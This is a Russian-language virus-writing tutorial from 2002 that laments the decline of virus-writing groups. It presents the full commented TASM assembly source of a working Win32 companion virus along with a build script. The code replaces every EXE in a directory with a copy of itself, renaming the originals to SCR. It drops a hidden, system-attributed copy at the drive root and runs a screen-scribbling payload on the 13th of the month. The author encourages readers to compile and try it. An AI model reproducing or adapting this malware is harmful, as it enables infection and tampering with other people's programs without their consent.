Win32 virii writing tutorial.
Что делать? С чего начать?

Научись летать - инструкторов тьма
Лишь ленивый не учит...

...и вперёд,
вперёд под мостом как Чкалов.


Аквариум. Чкалов.

 Посмотрел однажды я интернете всякие последние е-зины новые и приобщиться мне захотелось к доброму и вечному ;). А облом - кроме 29A ничего и нету, в смысле есть, но блин ..... [rRLf] и [PWV] и тд.... Куда мы катимся??? Куда-то назад к бат-вирям под сотню кил. Даже если и мелькнет что-то на асме - все равно основная процедура распространения виря - на VBS и тд. А для кого старались 29A, MATRiX и иже с ними? Где то золотое время, когда вирмакеров и их групп было десятки, когда компьютерный запад икал и крестился при упоминании России? Грустно.....

  Ну да ладно. Надо обучаться - переходить на новый уровень Вин32. И я собира- юсь помочь в этом немного. Ниже представлен полностью комментированный вирус-спутник (компаньон) основные задачи которого следующие:

  1. Взять коммандную стоку и узнать из нее свое имя.
  2. Найти первый ЕХЕшник в текущей дире.
  3. Переименовать его в SCR.
  4. Cамому скопироваться на его место под его именем.
  5. Найти следущий и ГОТО 3.
  6. Когда ЕХЕшников не осталось - скинуть свой дроппер в корень диска Ц.
  7. Проверить сегодняшнее число.
  8. Если 13 - то сделать графический эффект.
  9. Если не 13 - запустить файло которое хотел запустить юзверь.
10. Выйти с чувством выполненного долга.

  Вирь написан специально как тестовый экземпляр, но он полностью рабочий. Создайте себе какую-нибудь новую диру (C:\TEST\) запишите туда несколько ЕХЕ и откомпилированный вирус и запускайте без опасений - из этой диры он никуда не выйдет. Так же он специально написан для того, чтобы ВЫ могли разобраться в асме под Вин32, он специально не содержит никакой оптимизации. Изучайте ! Для тех кто не пользовался TASM'ом - батник для компиляции:

tasm32.exe /mx /m3 %1.asm,,;
tlink32.exe /Tpe /aa /c /v %1.obj,,, import32.lib,
del %1.obj
del %1.lst
del %1.map

Использовать как make.bat worm
имя файла должно быть без расширения...

За сим пока все - учитесь и пробуйте.

© 2002 NeKr0!

.386			;Минимальный тип проца на котором прога сможет работать
.model flat		;Плоская модель
locals
;====================== Используемые нами API-функции
	extrn FindFirstFileA:proc
	extrn FindNextFileA:proc
	extrn SetFileAttributesA:proc
	extrn MoveFileA:proc
	extrn CopyFileA:proc
	extrn GetCommandLineA:proc
	extrn CreateProcessA:proc
	extrn lstrcpyA:proc
	extrn ExitProcess:proc
	extrn CreateFileA:proc
	extrn CloseHandle:proc
	extrn MessageBoxA:proc
	extrn GetDC:proc
	extrn SetPixel:proc
	extrn GetSystemMetrics:proc
	extrn ExitProcess:proc
	extrn GetSystemTime:proc
	extrn MessageBoxA:proc
;====================== Сегмент данных
.data
Tdate:					;Струтура для получения времени
Tyear 		dw 0			;/Год
Tmonth 		dw 0			;|Месяц
Tdow 		dw 0			;|День недели
Tday 		dw 0			;|Число
Thour 		dw 0			;|Час, сек и т.д.
Tmin 		dw 0			;|
Tsec 		dw 0			;|
Tmilsec 	dw 0			;\
xcoord 		dd 0			;Здесь будет длина экрана по Х
ycoord 		dd 0			;А здесь по Y
newx 		dd 0			;Координаты случайной точки Х
newy 		dd 0			;То же но для Y
dc		dd 0			;Хэндл экрана
exe 		db '*.EXE',0 		; маска поиска файлов
FHandle 	dd 0 			; хендл файла
processinf 	dd 4 dup (0) 		; PROCESS_INFORMATION
startupinf 	dd 4 dup (0) 		; STARTUPINFO
SearchRec 	db 44 dup (0) 		; /структура поиска
FileName	db 274 dup (0) 		; \буффер имени файла в структуре
NewName		db 260 dup (0) 		; буффер под новое имя файла
MyName		db 260 dup (0) 		; имя нашего виря
drp 		db 'c:\w32worm.exe',0  	; Имя дроппера
CopyLeft	db ' [Win32.Companion by NeKr0!] ',0
txt		db '!! Vivat Egor Letov !!',0
;====================== Начало проги
.code 
worm:
	call GetCommandLineA 		;Получим параметры запуска
	push eax 			;eax = указатель на параметры
	push offset MyName		;Указатель на буфер
	call lstrcpyA			;Скопируем строку в наш буфер
	mov edi,eax			;Запомним указатель на него
search:
	cmp byte ptr [edi],'.' 		;Нашли точку?
	jz found_dot 			;ДА! jmp found_dot
	inc edi				;Cдвинем указатель на 1
	jmp search 			;Продолжим искать далее
found_dot:
	mov esi,edi			;Найденная позиция точки
	inc esi	
	add edi,4
	mov byte ptr [edi],00 		;Запишем ноль после имени файла
infect:				        ;Найдем ЕХЕ
	push offset SearchRec	 	;указатель на структуру поиска 
	push offset exe    		;Указатель на маску
	call FindFirstFileA		;Ищем файлы
	mov dword ptr [FHandle],eax 	;Сохраним указатель на найденный файл
check_exe:
	cmp eax,-1			;Ошибка??
	je Drop				;Тогда уходим...
	or eax,eax 			;Кончились ЕХЕшники?
	jz Drop  			;Да! уходим на дроппер

infect_file: 				;Процедура заражения
	push offset FileName		;Имя найденного файла
	push offset NewName		;Буффер под новое имя файла
	call lstrcpyA			;Копируем одно в другое
	mov edi,eax			;Указатель на скопированную строку
search_2:
	cmp byte ptr [edi],'.'		;Ищем точку в имени файла
	jz found_dot2 			;Нашли? 
	inc edi				;Сдвигаем указатель
	jmp search_2 			;Ищем заново
found_dot2:
	inc edi				;Указатель на первый символ после точки
	mov dword ptr [edi],'rcs'	;Меняем EXE на SCR
	mov byte ptr [edi+3],0		;Зкончим все нулем
	push offset NewName		;Указатель на переименованное имя
	push offset FileName		;Указатель на имя найденного файла
	call MoveFileA   		;Переименовываем *.exe - *.scr
	or eax,eax			;Проверим на ошибку
	jz Next				;Если ошибка(такой файл уже есть) выход
	push 1				;Истина 
					;(не переписывать файло если оно уже есть)
	push offset FileName 		;Указатель на Имя уже не существующего файла
	push offset MyName+1		;Укзатель на наш файл с вирем
	call CopyFileA			;Копируем одно в другое
Next:
	push offset SearchRec	 	;Указатель снова на структуру поиска
	push dword ptr [FHandle]	;Вспомним хендл
	call FindNextFileA		;Ищем следущую жертву
	jmp check_exe 			;И понеслось все по новой

drop:					;Создаем дроппер в корне диска Ц
	push 0  			;Ложь (Перезаписывать файло)
	push offset drp 		;Указатель на имя дроппера
	push offset MyName+1 		;Указатель на имя файла с вирем
	call CopyFileA			;Копируем
	push 00000001h OR 00000002h	;Аттрибуты скрытый и системный
	lea  eax,drp 			;Ставим аттрибуты на дроппер
	push eax        		;Передадим параметр функции
	call SetFileAttributesA		;Выполним задачу

runz: 					;Запустим жертву, но сначала проверим
	push offset Tdate		;время, точнее день.
	call GetSystemTime		
	cmp Tday,13			;Сегодня судный день?
	je payload			;ДА !!!
	push offset processinf		;Указатели на различные виндовые
	push offset startupinf		;структуры
	sub eax,eax 			;Получаем ноль
	push eax 			;И заполняем большинство нулем
	push eax 			;
	push 10h 			;
	push eax 			;
	push eax			;
	push eax			;
	call GetCommandLineA		;Возьмем указатель на параметры запуска
	inc eax				;и передадим их запускаемой жертве
	push eax			;Ща будем узнавать кого надо запустить
	mov dword ptr [esi],'rcs' 	;в si мы сохранили указатель на расширение
					;файла, которое и заменим на SCR
	push offset MyName+1		;Готовое имя жертвы для запуска
	call CreateProcessA 		;Выполняем жертву
	push 0 				;Код выхода
	call ExitProcess		;Выходим

payload:
	push 0
	push offset CopyLeft
	push offset txt
	push 0
	call MessageBoxA
	xor eax,eax			;Получим хендл экрана
	push eax
	call GetDC
	mov dword ptr dc,eax		;Сохраним его
	push 16
	call GetSystemMetrics		;Получим размер эрана по Х
	mov dword ptr xcoord,eax
	push 17
	call GetSystemMetrics		;Получим размер экрана по Y
	mov dword ptr ycoord,eax
next_pix:
	mov eax,dword ptr xcoord	;Сгенерим случайное число от 0 до Х
	push eax
	call random
	mov dword ptr newx,eax
	mov eax,dword ptr ycoord	;Сгенерим случайное число от 0 до Y
	push eax
	call random
	mov 4 ptr newy,eax
	push 200			;Нарисуем там точку красного цвета
	push newy			;Координата Х
	push newx			;Координата Y
	push dc				;Хендл экрана
	call SetPixel			;Ставим точку
	jmp next_pix			;И т.д.

random  proc                            ;Генерим случайное число 
                                        ;от 0 до параметра в стеке
        push edx                        ;сохраним EDX
a2a:    db 0fh, 31h                     ;код инструкции RDTCS - читаем таймер
                                        ;в регистры EDX:EAX
        xor edx, edx                    ;обнуляем EDX
        div dword ptr [esp+8]           ;Делим
	in al,40h			;Еще случайное число
	add dl,al			;Добавляем
        xchg eax, edx                   ;Запоминаем
r_out:  pop edx                         ;восстановим EDX
        ret 4                           ;выйдем и затрем параметр в стеке
random  endp          
ends
end worm		;Ну вот и все - первый Win32 вирь готов!
			; УРР-Р-АА-А-А !!!!!!!!!!!!!!!!!!!!!!!!!